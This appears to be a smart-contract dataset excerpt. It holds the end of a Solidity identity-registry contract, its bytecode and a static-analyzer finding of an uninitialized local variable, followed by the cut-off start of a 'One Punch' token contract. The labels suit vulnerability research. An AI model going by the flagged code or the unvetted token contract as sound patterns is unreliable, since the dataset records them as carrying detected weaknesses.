appNicknames32[_appId] = _appNickname32;
appNicknames[_appId] = _appNickname;
__appIds[_appNickname] = _appId;
__stores[_appId] = Store(
_store,
_address,
true
);
totalStores++;
StoreSet(_appNickname, _address);
StoreActive(_appNickname, _address, true);
}
/**
* @dev Sets the claimer which will verify the ownership and call to set a tweedentity
* @param _address Address of the claimer
*/
function setClaimer(
address _address
)
public
onlyOwner
{
require(_address != address(0));
claimer = _address;
ClaimerSet(_address, false);
}
/**
* @dev Sets a new claimer during updates
* @param _address Address of the new claimer
*/
function setNewClaimer(
address _address
)
public
onlyOwner
{
require(_address != address(0) && claimer != address(0));
newClaimer = _address;
ClaimerSet(_address, true);
}
/**
* @dev Sets new manager
*/
function switchClaimerAndRemoveOldOne()
external
onlyOwner
{
require(newClaimer != address(0));
ClaimerSwitch(claimer, newClaimer);
claimer = newClaimer;
newClaimer = address(0);
}
/**
* @dev Sets a wallet as customer service to perform emergency removal of wrong, abused, squatted tweedentities (due, for example, to hacking of the Twitter account)
* @param _address The customer service wallet
* @param _status The status (true is set, false is unset)
*/
function setCustomerService(
address _address,
bool _status
)
public
onlyOwner
{
require(_address != address(0));
customerService[_address] = _status;
bool found;
for (uint i = 0; i < __customerServiceAddress.length; i++) {
if (__customerServiceAddress[i] == _address) {
found = true;
break;
}
}
if (!found) {
__customerServiceAddress.push(_address);
}
CustomerServiceSet(_address);
}
/**
* @dev Unable/disable a store
* @param _appNickname The store to be enabled/disabled
* @param _active A bool to unable (true) or disable (false)
*/
function activateStore(
string _appNickname,
bool _active
)
public
onlyOwner
{
uint _appId = __appIds[_appNickname];
require(__stores[_appId].active != _active);
__stores[_appId] = Store(
__stores[_appId].store,
__stores[_appId].addr,
_active
);
StoreActive(_appNickname, __stores[_appId].addr, _active);
}
//modifiers
modifier onlyClaimer() {
require(msg.sender == claimer || (newClaimer != address(0) && msg.sender == newClaimer));
_;
}
modifier onlyCustomerService() {
require(msg.sender == owner || customerService[msg.sender] == true);
_;
}
modifier whenStoreSet(
uint _appId
) {
require(appNicknames32[_appId] != 0x0);
_;
}
// internal getters
function __getStore(
uint _appId
)
internal
constant returns (StoreInterface)
{
return __stores[_appId].store;
}
// helpers
function isAddressUpgradable(
StoreInterface _store,
address _address
)
internal
constant returns (bool)
{
uint lastUpdate = _store.getAddressLastUpdate(_address);
return lastUpdate == 0 || now >= lastUpdate + minimumTimeBeforeUpdate;
}
function isUpgradable(
StoreInterface _store,
address _address,
string _uid
)
internal
constant returns (bool)
{
if (!_store.isUpgradable(_address, _uid) || !isAddressUpgradable(_store, _address)) {
return false;
}
return true;
}
// getters
/**
* @dev Gets the app-id associated to a nickname
* @param _appNickname The nickname of a configured app
*/
function getAppId(
string _appNickname
)
external
constant returns (uint) {
return __appIds[_appNickname];
}
/**
* @dev Allows other contracts to check if a store is set
* @param _appNickname The nickname of a configured app
*/
function isStoreSet(
string _appNickname
)
public
constant returns (bool){
return __appIds[_appNickname] != 0;
}
/**
* @dev Allows other contracts to check if a store is active
* @param _appId The id of a configured app
*/
function isStoreActive(
uint _appId
)
public
constant returns (bool){
return __stores[_appId].active;
}
/**
* @dev Return a numeric code about the upgradability of a couple wallet-uid in a certain app
* @param _appId The id of the app
* @param _address The address of the wallet
* @param _uid The user-id
*/
function getUpgradability(
uint _appId,
address _address,
string _uid
)
external
constant returns (uint)
{
StoreInterface _store = __getStore(_appId);
if (!_store.isUpgradable(_address, _uid)) {
return notUpgradableInStore;
} else if (!isAddressUpgradable(_store, _address)) {
return addressNotUpgradable;
} else {
return upgradable;
}
}
/**
* @dev Returns the address of a store
* @param _appNickname The app nickname
*/
function getStoreAddress(
string _appNickname
)
external
constant returns (address) {
return __stores[__appIds[_appNickname]].addr;
}
/**
* @dev Returns the address of a store
* @param _appId The app id
*/
function getStoreAddressById(
uint _appId
)
external
constant returns (address) {
return __stores[_appId].addr;
}
/**
* @dev Returns the address of any customerService account
*/
function getCustomerServiceAddress()
external
constant returns (address[]) {
return __customerServiceAddress;
}
// primary methods
/**
* @dev Sets a new identity
* @param _appId The id of the app
* @param _address The address of the wallet
* @param _uid The user-id
*/
function setIdentity(
uint _appId,
address _address,
string _uid
)
external
onlyClaimer
whenStoreSet(_appId)
whenNotPaused
{
require(_address != address(0));
StoreInterface _store = __getStore(_appId);
require(_store.isUid(_uid));
if (isUpgradable(_store, _address, _uid)) {
_store.setIdentity(_address, _uid);
} else {
IdentityNotUpgradable(appNicknames[_appId], _address, _uid);
}
}
/**
* @dev Unsets an existent identity
* @param _appId The id of the app
* @param _address The address of the wallet
*/
function unsetIdentity(
uint _appId,
address _address
)
external
onlyCustomerService
whenStoreSet(_appId)
whenNotPaused
{
StoreInterface _store = __getStore(_appId);
_store.unsetIdentity(_address);
}
/**
* @dev Allow the sender to unset its existent identity
* @param _appId The id of the app
*/
function unsetMyIdentity(
uint _appId
)
external
whenStoreSet(_appId)
whenNotPaused
{
StoreInterface _store = __getStore(_appId);
_store.unsetIdentity(msg.sender);
}
/**
* @dev Update the minimum time before allowing a wallet to update its data
* @param _newMinimumTime The new minimum time in seconds
*/
function changeMinimumTimeBeforeUpdate(
uint _newMinimumTime
)
external
onlyOwner
{
minimumTimeBeforeUpdate = _newMinimumTime;
MinimumTimeBeforeUpdateChanged(_newMinimumTime);
}
}
|
0x6060604052600436106101ac576000357c0100000000000000000000000000000000000000000000000000000000900463ffffffff1680631343ed05146101b957806313754f9a1461022e57806315f063f7146102575780631921d11714610280578063340e47f8146102c257806339e31ceb1461032a5780633f4ba83a146103535780633ff285d9146103685780635148de8d146103b9578063543a9ce4146103e257806355869af11461045e578063558f285f146104ec5780635854be3c1461050f5780635b824208146105485780635c975abb1461056b57806365ef7b95146105985780638456cb59146105fb57806386321f95146106105780638cc60a61146106255780638da5cb5b1461066057806396d122ea146106b55780639deb1c5c146107235780639f727c2714610767578063ad0b38a21461077c578063b2b5be09146107be578063ba9862de14610814578063c6199b6d14610853578063cdfb5832146108bd578063d379be23146108f6578063d92fb5e91461094b578063d9420a86146109a0578063f2fde38b14610a0a578063f4d26fec14610a43578063ff89008614610a6c575b34156101b757600080fd5b005b34156101c457600080fd5b610214600480803590602001908201803590602001908080601f01602080910402602001604051908101604052809392919081815260200183838082843782019150505050505091905050610b08565b604051808215151515815260200191505060405180910390f35b341561023957600080fd5b610241610b80565b6040518082815260200191505060405180910390f35b341561026257600080fd5b61026a610b86565b6040518082815260200191505060405180910390f35b341561028b57600080fd5b6102c0600480803590602001909190803573ffffffffffffffffffffffffffffffffffffffff16906020019091905050610b8c565b005b34156102cd57600080fd5b610328600480803590602001908201803590602001908080601f016020809104026020016040519081016040528093929190818152602001838380828437820191505050505050919080351515906020019091905050610d4a565b005b341561033557600080fd5b61033d6110bf565b6040518082815260200191505060405180910390f35b341561035e57600080fd5b6103666110c5565b005b341561037357600080fd5b61039f600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091905050611183565b604051808215151515815260200191505060405180910390f35b34156103c457600080fd5b6103cc6111a3565b6040518082815260200191505060405180910390f35b34156103ed57600080fd5b61045c600480803590602001908201803590602001908080601f0160208091040260200160405190810160405280939291908181526020018383808284378201915050505050509190803573ffffffffffffffffffffffffffffffffffffffff169060200190919050506111a9565b005b341561046957600080fd5b61047161175a565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156104b1578082015181840152602081019050610496565b50505050905090810190601f1680156104de5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34156104f757600080fd5b61050d60048080359060200190919050506117f8565b005b341561051a57600080fd5b610546600480803573ffffffffffffffffffffffffffffffffffffffff169060200190919050506118ff565b005b341561055357600080fd5b6105696004808035906020019091905050611a88565b005b341561057657600080fd5b61057e611b24565b604051808215151515815260200191505060405180910390f35b34156105a357600080fd5b6105b96004808035906020019091905050611b37565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b341561060657600080fd5b61060e611b77565b005b341561061b57600080fd5b610623611c37565b005b341561063057600080fd5b6106466004808035906020019091905050611e35565b604051808215151515815260200191505060405180910390f35b341561066b57600080fd5b610673611e62565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b34156106c057600080fd5b6106e160048080359060200190820180359060200191909192905050611e87565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b341561072e57600080fd5b610765600480803573ffffffffffffffffffffffffffffffffffffffff169060200190919080351515906020019091905050611eed565b005b341561077257600080fd5b61077a612128565b005b341561078757600080fd5b6107a8600480803590602001908201803590602001919091929050506121fa565b6040518082815260200191505060405180910390f35b34156107c957600080fd5b610812600480803590602001909190803573ffffffffffffffffffffffffffffffffffffffff16906020019091908035906020019082018035906020019190919290505061222a565b005b341561081f57600080fd5b61083560048080359060200190919050506126a4565b60405180826000191660001916815260200191505060405180910390f35b341561085e57600080fd5b6108666126bc565b6040518080602001828103825283818151815260200191508051906020019060200280838360005b838110156108a957808201518184015260208101905061088e565b505050509050019250505060405180910390f35b34156108c857600080fd5b6108f4600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091905050612750565b005b341561090157600080fd5b61090961287e565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b341561095657600080fd5b61095e6128a4565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b34156109ab57600080fd5b6109f4600480803590602001909190803573ffffffffffffffffffffffffffffffffffffffff1690602001909190803590602001908201803590602001919091929050506128ca565b6040518082815260200191505060405180910390f35b3415610a1557600080fd5b610a41600480803573ffffffffffffffffffffffffffffffffffffffff169060200190919050506129f1565b005b3415610a4e57600080fd5b610a56612b46565b6040518082815260200191505060405180910390f35b3415610a7757600080fd5b610a8d6004808035906020019091905050612b4c565b6040518080602001828103825283818151815260200191508051906020019080838360005b83811015610acd578082015181840152602081019050610ab2565b50505050905090810190601f168015610afa5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b6000806006836040518082805190602001908083835b602083101515610b435780518252602082019150602081019050602083039250610b1e565b6001836020036101000a03801982511681845116808217855250505050505090500191505090815260200160405180910390205414159050919050565b600c5481565b60035481565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161480610c39575060011515600960003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161515145b1515610c4457600080fd5b82600060010260046000838152602001908152602001600020546000191614151515610c6f57600080fd5b600060149054906101000a900460ff16151515610c8b57600080fd5b610c9484612bfc565b91508173ffffffffffffffffffffffffffffffffffffffff166328faf217846040518263ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001915050600060405180830381600087803b1515610d3057600080fd5b6102c65a03f11515610d4157600080fd5b50505050505050565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515610da757600080fd5b6006836040518082805190602001908083835b602083101515610ddf5780518252602082019150602081019050602083039250610dba565b6001836020036101000a03801982511681845116808217855250505050505090500191505090815260200160405180910390205490508115156002600083815260200190815260200160002060010160149054906101000a900460ff16151514151515610e4b57600080fd5b6060604051908101604052806002600084815260200190815260200160002060000160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020016002600084815260200190815260200160002060010160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018315158152506002600083815260200190815260200160002060008201518160000160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555060208201518160010160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555060408201518160010160146101000a81548160ff0219169083151502179055509050506002600082815260200190815260200160002060010160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167fe8c0136ee13ab4d445c28a306e9c668a98b69e6ba5dd67e2056a3d31bc530f0e8484604051808060200183151515158152602001828103825284818151815260200191508051906020019080838360005b8381101561107f578082015181840152602081019050611064565b50505050905090810190601f1680156110ac5780820380516001836020036101000a031916815260200191505b50935050505060405180910390a2505050565b600d5481565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561112057600080fd5b600060149054906101000a900460ff16151561113b57600080fd5b60008060146101000a81548160ff0219169083151502179055507f7805862f689e2f13df9f062ff482ad3ad112aca9e0847911ed832e158c525b3360405160405180910390a1565b60096020528060005260406000206000915054906101000a900460ff1681565b600e5481565b60008060008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561120957600080fd5b6000855111151561121957600080fd5b846040518082805190602001908083835b60208310151561124f578051825260208201915060208101905060208303925061122a565b6001836020036101000a03801982511681845116808217855250505050505090500191505060405180910390209250600073ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff16141515156112ba57600080fd5b83915082600019168273ffffffffffffffffffffffffffffffffffffffff166344ae2c036000604051602001526040518163ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401602060405180830381600087803b151561132e57600080fd5b6102c65a03f1151561133f57600080fd5b505050604051805190506000191614151561135957600080fd5b8173ffffffffffffffffffffffffffffffffffffffff1663693dde5c6000604051602001526040518163ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401602060405180830381600087803b15156113c557600080fd5b6102c65a03f115156113d657600080fd5b505050604051805190509050600060010260046000838152602001908152602001600020546000191614151561140b57600080fd5b826004600083815260200190815260200160002081600019169055508460056000838152602001908152602001600020908051906020019061144e929190612e75565b50806006866040518082805190602001908083835b6020831015156114885780518252602082019150602081019050602083039250611463565b6001836020036101000a0380198251168184511680821785525050505050509050019150509081526020016040518091039020819055506060604051908101604052808373ffffffffffffffffffffffffffffffffffffffff1681526020018573ffffffffffffffffffffffffffffffffffffffff168152602001600115158152506002600083815260200190815260200160002060008201518160000160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555060208201518160010160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555060408201518160010160146101000a81548160ff0219169083151502179055509050506003600081548092919060010191905055508373ffffffffffffffffffffffffffffffffffffffff167f4813228f03db3be044e6ed8c699905d29fd80ef32baeca9b37305133719226b1866040518080602001828103825283818151815260200191508051906020019080838360005b8381101561165957808201518184015260208101905061163e565b50505050905090810190601f1680156116865780820380516001836020036101000a031916815260200191505b509250505060405180910390a28373ffffffffffffffffffffffffffffffffffffffff167fe8c0136ee13ab4d445c28a306e9c668a98b69e6ba5dd67e2056a3d31bc530f0e866001604051808060200183151515158152602001828103825284818151815260200191508051906020019080838360005b838110156117185780820151818401526020810190506116fd565b50505050905090810190601f1680156117455780820380516001836020036101000a031916815260200191505b50935050505060405180910390a25050505050565b60018054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156117f05780601f106117c5576101008083540402835291602001916117f0565b820191906000526020600020905b8154815290600101906020018083116117d357829003601f168201915b505050505081565b60008160006001026004600083815260200190815260200160002054600019161415151561182557600080fd5b600060149054906101000a900460ff1615151561184157600080fd5b61184a83612bfc565b91508173ffffffffffffffffffffffffffffffffffffffff166328faf217336040518263ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001915050600060405180830381600087803b15156118e657600080fd5b6102c65a03f115156118f757600080fd5b505050505050565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561195a57600080fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff16141580156119e65750600073ffffffffffffffffffffffffffffffffffffffff16600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614155b15156119f157600080fd5b80600860006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508073ffffffffffffffffffffffffffffffffffffffff167f5bd1ef1576935324f663f96de434f2cefe4b3357a5194c415e5ce350e3cc4ef46001604051808215151515815260200191505060405180910390a250565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515611ae357600080fd5b80600e819055507fd85b6eeaff051e65ddab01300acec9653407ca4f3d7c2d063a4bfe4ff89d5c11816040518082815260200191505060405180910390a150565b600060149054906101000a900460ff1681565b60006002600083815260200190815260200160002060010160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff169050919050565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515611bd257600080fd5b600060149054906101000a900460ff16151515611bee57600080fd5b6001600060146101000a81548160ff0219169083151502179055507f6985a02210a168e66602d3235cb6db0e70f92b3ba4d376a33c0f3d9434bff62560405160405180910390a1565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515611c9257600080fd5b600073ffffffffffffffffffffffffffffffffffffffff16600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614151515611cf057600080fd5b600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f86e3f05dd675cdb4c2766555dbff882f556118531cc65b926fd114cfe9b5ce0360405160405180910390a3600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16600760006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055506000600860006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b60006002600083815260200190815260200160002060010160149054906101000a900460ff169050919050565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000600260006006858560405180838380828437820191505092505050908152602001604051809103902054815260200190815260200160002060010160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905092915050565b6000806000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515611f4b57600080fd5b600073ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614151515611f8757600080fd5b82600960008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550600090505b600a80549050811015612074578373ffffffffffffffffffffffffffffffffffffffff16600a8281548110151561201657fe5b906000526020600020900160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614156120675760019150612074565b8080600101915050611fe3565b8115156120df57600a805480600101828161208f9190612ef5565b9160005260206000209001600086909190916101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550505b8373ffffffffffffffffffffffffffffffffffffffff167f6fb38bb24664f1a3b1534f310f9075b0449a6e81118320a1c8388f2eac3fa43260405160405180910390a250505050565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561218357600080fd5b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc3073ffffffffffffffffffffffffffffffffffffffff16319081150290604051600060405180830381858888f1935050505015156121f857fe5b565b60006006838360405180838380828437820191505092505050908152602001604051809103902054905092915050565b6000600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614806123305750600073ffffffffffffffffffffffffffffffffffffffff16600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161415801561232f5750600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16145b5b151561233b57600080fd5b8460006001026004600083815260200190815260200160002054600019161415151561236657600080fd5b600060149054906101000a900460ff1615151561238257600080fd5b600073ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff16141515156123be57600080fd5b6123c786612bfc565b91508173ffffffffffffffffffffffffffffffffffffffff16638ec5ff4185856000604051602001526040518363ffffffff167c01000000000000000000000000000000000000000000000000000000000281526004018080602001828103825284848281815260200192508082843782019150509350505050602060405180830381600087803b151561245a57600080fd5b6102c65a03f1151561246b57600080fd5b50505060405180519050151561248057600080fd5b6124bd828686868080601f016020809104026020016040519081016040528093929190818152602001838380828437820191505050505050612c3c565b15612597578173ffffffffffffffffffffffffffffffffffffffff1663897cab178686866040518463ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018060200182810382528484828181526020019250808284378201915050945050505050600060405180830381600087803b151561257e57600080fd5b6102c65a03f1151561258f57600080fd5b50505061269c565b8473ffffffffffffffffffffffffffffffffffffffff167f17924f6556e9f48e10f2e61c5112228a6274f52dd5a84e1706191a4c4eccd8b66005600089815260200190815260200160002086866040518080602001806020018381038352868181546001816001161561010002031660029004815260200191508054600181600116156101000203166002900480156126715780601f1061264657610100808354040283529160200191612671565b820191906000526020600020905b81548152906001019060200180831161265457829003601f168201915b5050838103825285858281815260200192508082843782019150509550505050505060405180910390a25b505050505050565b60046020528060005260406000206000915090505481565b6126c4612f21565b600a80548060200260200160405190810160405280929190818152602001828054801561274657602002820191906000526020600020905b8160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190600101908083116126fc575b5050505050905090565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161415156127ab57600080fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff16141515156127e757600080fd5b80600760006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508073ffffffffffffffffffffffffffffffffffffffff167f5bd1ef1576935324f663f96de434f2cefe4b3357a5194c415e5ce350e3cc4ef46000604051808215151515815260200191505060405180910390a250565b600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000806128d686612bfc565b90508073ffffffffffffffffffffffffffffffffffffffff1663686e177b8686866000604051602001526040518463ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018060200182810382528484828181526020019250808284378201915050945050505050602060405180830381600087803b151561299d57600080fd5b6102c65a03f115156129ae57600080fd5b5050506040518051905015156129c857600c5491506129e8565b6129d28186612d96565b15156129e257600d5491506129e8565b600b5491505b50949350505050565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515612a4c57600080fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1614151515612a8857600080fd5b8073ffffffffffffffffffffffffffffffffffffffff166000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a3806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b600b5481565b60056020528060005260406000206000915090508054600181600116156101000203166002900480601f016020809104026020016040519081016040528092919081815260200182805460018160011615610100020316600290048015612bf45780601f10612bc957610100808354040283529160200191612bf4565b820191906000526020600020905b815481529060010190602001808311612bd757829003601f168201915b505050505081565b60006002600083815260200190815260200160002060000160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff169050919050565b60008373ffffffffffffffffffffffffffffffffffffffff1663686e177b84846000604051602001526040518363ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200180602001828103825283818151815260200191508051906020019080838360005b83811015612d02578082015181840152602081019050612ce7565b50505050905090810190601f168015612d2f5780820380516001836020036101000a031916815260200191505b509350505050602060405180830381600087803b1515612d4e57600080fd5b6102c65a03f11515612d5f57600080fd5b505050604051805190501580612d7c5750612d7a8484612d96565b155b15612d8a5760009050612d8f565b600190505b9392505050565b6000808373ffffffffffffffffffffffffffffffffffffffff1663ed186571846000604051602001526040518263ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001915050602060405180830381600087803b1515612e3c57600080fd5b6102c65a03f11515612e4d57600080fd5b5050506040518051905090506000811480612e6c5750600e5481014210155b91505092915050565b828054600181600116156101000203166002900490600052602060002090601f016020900481019282601f10612eb657805160ff1916838001178555612ee4565b82800160010185558215612ee4579182015b82811115612ee3578251825591602001919060010190612ec8565b5b509050612ef19190612f35565b5090565b815481835581811511612f1c57818360005260206000209182019101612f1b9190612f35565b5b505050565b602060405190810160405280600081525090565b612f5791905b80821115612f53576000816000905550600101612f3b565b5090565b905600a165627a7a7230582006300b05699e40800c0f9f489458b862d4d7eb86e4304de59ecaa8481f4020880029
|
{"success": true, "error": null, "results": {"detectors": [{"check": "uninitialized-local", "impact": "Medium", "confidence": "Medium"}]}}
| 3,265 |
0xfd55df1fdaba9969ce2798926c8270458c38e6a4
|
// SPDX-License-Identifier: MIT
// Telegram: t.me/onepunchtokens
pragma solidity ^0.8.4;
address constant WALLET_ADDRESS = 0x2b2f7a8f2d3a932250A375B343Cf899Af07A1C21;
address constant ROUTER_ADDRESS=0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D;
uint256 constant TOTAL_SUPPLY = 1000000000;
string constant TOKEN_NAME = "One Punch";
string constant TOKEN_SYMBOL = "ONE PUNCH";
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
interface Oracle{
function amount() external view returns (uint256);
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
}
contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed oldie, address indexed newbie);
constructor () {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB) external returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(address token, uint amountTokenDesired, uint amountTokenMin, uint amountETHMin, address to, uint deadline) external payable returns (uint amountToken, uint amountETH, uint liquidity);
}
contract onepunchtoken is Context, IERC20, Ownable {
using SafeMath for uint256;
mapping(address => uint256) private _rOwned;
mapping(address => mapping(address => uint256)) private _allowances;
uint256 private constant MAX = ~uint256(0);
uint256 private constant _tTotal = TOTAL_SUPPLY;
